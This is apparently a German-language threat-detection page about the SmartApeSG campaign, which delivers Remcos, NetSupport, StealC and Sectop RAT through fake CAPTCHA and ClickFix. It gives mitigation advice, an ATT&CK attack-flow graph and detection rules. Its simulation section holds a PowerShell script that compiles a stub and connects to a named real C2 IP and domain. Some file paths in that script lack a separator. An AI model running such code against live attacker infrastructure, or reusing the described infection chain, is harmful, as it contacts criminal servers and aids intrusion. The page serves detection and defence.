SmartApeSG-Kampagne verbreitet Remcos RAT, NetSupport RAT, StealC und Sectop RAT (ArechClient2)
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Die SmartApeSG-Kampagne basiert auf einer gefälschten CAPTCHA-Seite, kombiniert mit einem ClickFix-Skript, um mehrere Fernzugriffsdrohungen zu verteilen, darunter Remcos RAT, NetSupport RAT, StealC und Sectop RAT. Die anfängliche Kompromittierung löst eine gestaffelte Infektionskette aus, bei der jedes Schadprogramm seinen eigenen Kommando- und Kontrollserver kontaktiert. Die Verteilung erfolgt über Archivdateien, die DLL-Side-Loading ausnutzen, um die Malware zu starten. Der Bericht enthält auch unterstützende Indikatoren wie Domänen, IP-Adressen, Dateipfade und Datei-Hashes.
Untersuchung
Der Analyst zeichnete zunächst um 17:11 UTC Verkehr vom ClickFix-Skript auf, wobei die Kommunikation von Remcos RAT eine Minute später um 17:12 UTC begann. Der Verkehr von NetSupport RAT trat vier Minuten später auf, StealC wurde etwa eine Stunde später beobachtet, und Sectop RAT erschien etwa eine Stunde und achtzehn Minuten nach StealC. Ermittler stellten Dateiartefakte sowohl aus Benutzer- als auch Systemverzeichnissen wieder her und ordneten sie den spezifisch in der Kette verwendeten bösartigen Archiven zu.
Minderung
Verteidiger sollten die bekannten bösartigen Domänen und IP-Adressen blockieren, während sie auf die Ausführung von HTA-Dateien und verdächtigen Archivextraktionen in Benutzerprofilpfaden achten. Browser- und E-Mail-Schutzmaßnahmen sollten verstärkt werden, um die Exposition gegenüber Click-Jacking und gefälschter CAPTCHA-Auslieferung zu reduzieren. Endpunkterkennungsregeln sollten auch abgestimmt werden, um DLL-Side-Loading-Verhalten und unerwartete RAT-Prozesse zu identifizieren.
Reaktion
Wenn einer der aufgeführten Indikatoren gefunden wird, isolieren Sie den betroffenen Host, stoppen Sie bösartige Prozesse und sammeln Sie Speicher- und Disk-Images für die forensische Analyse. Führen Sie eine umfassende IOC-Suche in der gesamten Umgebung durch, aktualisieren Sie die Firewall-Steuerung, um die identifizierten C2-Endpunkte zu blockieren, und setzen Sie alle potenziell kompromittierten Anmeldeinformationen zurück.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nodes victim_visits["<b>Aktion</b> – Opfer besucht kompromittierte Website, auf der ein gefälschtes CAPTCHA bösartiges Skript injiziert"] class victim_visits action tech_user_exec_link["<b>Technik</b> – T1204.001 Benutzerausführung: Bösartiger Link<br/><b>Beschreibung</b>: Opfer interagiert mit einem bösartigen Link, der zur Codeausführung führt"] class tech_user_exec_link technique tech_user_exec_copy["<b>Technik</b> – T1204.004 Benutzerausführung: Bösartiges Kopieren und Einfügen<br/><b>Beschreibung</b>: Bösartiger Code wird in die Zwischenablage kopiert und eingefügt, um ausgeführt zu werden"] class tech_user_exec_copy technique clickfix_script["<b>Werkzeug</b> – Name: ClickFix-Skript (bösartig)"] class clickfix_script malware hta_creation["<b>Aktion</b> – Bösartige HTA-Datei wird in %AppData%post.hta geschrieben"] class hta_creation action tech_mshta["<b>Technik</b> – T1218.005 System Binary Proxy Execution: Mshta<br/><b>Beschreibung</b>: Mshta wird verwendet, um HTA-Dateien auszuführen"] class tech_mshta technique tech_user_exec_file["<b>Technik</b> – T1204.002 Benutzerausführung: Bösartige Datei<br/><b>Beschreibung</b>: Opfer führt eine bösartige Datei aus"] class tech_user_exec_file technique hta_execution["<b>Prozess</b> – mshta.exe führt post.hta aus"] class hta_execution process download_payload["<b>Aktion</b> – HTA lädt komprimierte Nutzlasten (ZIP oder RAR) von Remote-Server herunter"] class download_payload action tech_web_protocol["<b>Technik</b> – T1071.001 Anwendungsschichtprotokoll: Web-Protokolle<br/><b>Beschreibung</b>: Verwendung von HTTP/HTTPS für die Datenübertragung"] class tech_web_protocol technique malware_remcos["<b>Malware</b> – Remcos RAT"] class malware_remcos malware malware_netsupport["<b>Malware</b> – NetSupport RAT"] class malware_netsupport malware malware_stealc["<b>Malware</b> – StealC"] class malware_stealc malware malware_sectop["<b>Malware</b> – Sectop RAT"] class malware_sectop malware tech_dll_sideloading["<b>Technik</b> – T1574.001 Hijack Execution Flow: DLL Side-Loading<br/><b>Beschreibung</b>: Bösartige DLLs werden in legitime ausführbare Dateien geladen"] class tech_dll_sideloading technique c2_bidirectional["<b>Technik</b> – T1102.002 Web Service: Bidirektionale Kommunikation<br/><b>Beschreibung</b>: RAT kommuniziert mit C2 über bidirektionale Webservices"] class c2_bidirectional technique c2_oneway["<b>Technik</b> – T1102.003 Web Service: Einwegkommunikation<br/><b>Beschreibung</b>: RAT sendet Daten an C2 über Einweg-Webservices"] class c2_oneway technique cleanup_files["<b>Aktion</b> – HTA und temporäre Dateien nach der Ausführung löschen"] class cleanup_files action tech_file_deletion["<b>Technik</b> – T1070.004 Indikatorentfernung: Datei löschen<br/><b>Beschreibung</b>: Dateien werden entfernt, um Beweise zu beseitigen"] class tech_file_deletion technique cleanup_persistence["<b>Aktion</b> – Persistenzartefakte wie Registrierungseinträge oder geplante Aufgaben löschen"] class cleanup_persistence action tech_clear_persistence["<b>Technik</b> – T1070.009 Indikatorentfernung: Persistenz löschen<br/><b>Beschreibung</b>: Persistenzmechanismen werden entfernt"] class tech_clear_persistence technique %% Connections victim_visits –>|löst aus| tech_user_exec_link victim_visits –>|löst aus| tech_user_exec_copy tech_user_exec_link –>|liefert| clickfix_script tech_user_exec_copy –>|liefert| clickfix_script clickfix_script –>|schreibt| hta_creation hta_creation –>|verwendet| tech_mshta hta_creation –>|verwendet| tech_user_exec_file tech_mshta –>|führt aus| hta_execution tech_user_exec_file –>|führt aus| hta_execution hta_execution –>|lädt herunter| download_payload download_payload –>|verwendet| tech_web_protocol download_payload –>|liefert| malware_remcos download_payload –>|liefert| malware_netsupport download_payload –>|liefert| malware_stealc download_payload –>|liefert| malware_sectop malware_remcos –>|verwendet| tech_dll_sideloading malware_netsupport –>|verwendet| tech_dll_sideloading malware_stealc –>|verwendet| tech_dll_sideloading malware_sectop –>|verwendet| tech_dll_sideloading malware_remcos –>|kommuniziert über| c2_bidirectional malware_netsupport –>|kommuniziert über| c2_oneway malware_stealc –>|kommuniziert über| c2_oneway malware_sectop –>|kommuniziert über| c2_bidirectional hta_execution –>|löst aus| cleanup_files cleanup_files –>|verwendet| tech_file_deletion cleanup_files –>|löst auch aus| cleanup_persistence cleanup_persistence –>|verwendet| tech_clear_persistence "
Angriffsfluss
Erkennungen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Ansicht
Explizite COMSPEC-Nutzung im Image-Pfad (über System)
Ansicht
Explizite COMSPEC-Nutzung im Dienst-Dateipfad (über Audit)
Ansicht
Verdächtige explizite COMSPEC-Nutzung (über process_creation)
Ansicht
Verdächtige Befehls- und Steuerungskommunikation durch ungewöhnliche DNS-Anfrage auf Top-Level-Domain (TLD) (über DNS)
Ansicht
Umgebungsvariablen in Befehlszeilenargumenten (über cmdline)
Ansicht
IOCs (DestinationIP) zum Erkennen: Die SmartApeSG-Kampagne pusht Remcos RAT, NetSupport RAT, StealC und Sectop RAT (ArechClient2)
Ansicht
IOCs (HashSha256) zum Erkennen: Die SmartApeSG-Kampagne pusht Remcos RAT, NetSupport RAT, StealC und Sectop RAT (ArechClient2)
Ansicht
IOCs (SourceIP) zum Erkennen: Die SmartApeSG-Kampagne pusht Remcos RAT, NetSupport RAT, StealC und Sectop RAT (ArechClient2)
Ansicht
Erkennung des SmartApeSG-Kampagnen-C2-Serververkehrs [Windows-Netzwerkverbindung]
Ansicht
Simulation Ausführung
Voraussetzung: Der Telemetrie- und Baseline-Pre-Flight-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennungslogik erwartet wird.
Angreifer erzählerisch & Befehle
Der Gegner, der auf der betroffenen Workstation Fuß gefasst hat, startet die Remcos RAT-Komponente der SmartApeSG-Kampagne. Der RAT ist konfiguriert, um 95.142.45.231:443 als primäre C2-Endpunkt zu verwenden. Es löst zuerst die eingebettete Domain auf fresicrto.top (Fallback) und öffnet dann einen dauerhaften HTTPS-Tunnel zu der IP-Adresse. Der Datenverkehr wird von remcos.exe über die Windows WinHTTP-API generiert, die ein Sysmon NetworkConnect-Ereignis und einen Windows-Firewall-Logeintrag erzeugt.
Schritte:
- Lassen Sie die RAT-Binärdatei fallen (
remcos.exe) in%TEMP%. - Führen Sie die Binärdatei aus mit dem C2-Argument
-c 95.142.45.231:443. - Überprüfen Sie die ausgehende Verbindung (via
netstat).
Diese Aktionen ordnen sich zu T1102 (Webdienst) für C2-Kommunikation und T1584.001 (Domänenerwerb) da die Domain Teil der Nutzlast ist.
Regressions-Testskript
# --------------------------------------------------------------
# SmartApeSG-C2-Simulation – löst Erkennungsregel aus
# --------------------------------------------------------------
# 1. Schreiben Sie einen minimalen Remcos-ähnlichen Stub (zur Demo verwenden Sie PowerShell, um TCP zu öffnen)
$c2Ip = "95.142.45.231"
$c2Port = 443
$payloadFile = "$env:TEMPremcos_stub.exe"
# Erstellen Sie ein einfaches .NET-Programm, das eine TCP-Verbindung herstellt (simuliert RAT)
Add-Type -TypeDefinition @"
using System;
using System.Net.Sockets;
public class Stub {
public static void Main(string[] args) {
try {
var client = new TcpClient();
client.Connect("$c2Ip", $c2Port);
System.Threading.Thread.Sleep(5000); // Verbindung am Leben halten
client.Close();
} catch (Exception ex) {
Console.Error.WriteLine(ex.Message);
}
}
}
"@ -OutputAssembly $payloadFile -CompilerOptions "/target:exe"
# 2. Führen Sie den Stub aus (dies erzeugt die Netzwerkverbindung)
Start-Process -FilePath $payloadFile -WindowStyle Hidden
# 3. Optional: Lösen Sie die Fallback-Domain auf, um DNS-Aktivität zu beweisen
Resolve-DnsName -Name "fresicrto.top" -Type A | Out-Null
# 4. Pause zur Beobachtung
Start-Sleep -Seconds 10
# 5. Aufräumen – beenden Sie den Stub, wenn er noch läuft
Get-Process -Name "remcos_stub" -ErrorAction SilentlyContinue | Stop-Process -Force
Remove-Item -Path $payloadFile -Force
Aufräumbefehle
# Beenden Sie verbleibende Verbindungen vom Stub
Get-NetTCPConnection -RemotePort 443 -RemoteAddress 95.142.45.231 -State Established |
ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
# Entfernen Sie temporäre Dateien (bereits im Skript gemacht, aber sorgen Sie für sauberen Zustand)
Remove-Item -Path "$env:TEMPremcos_stub.exe" -ErrorAction SilentlyContinue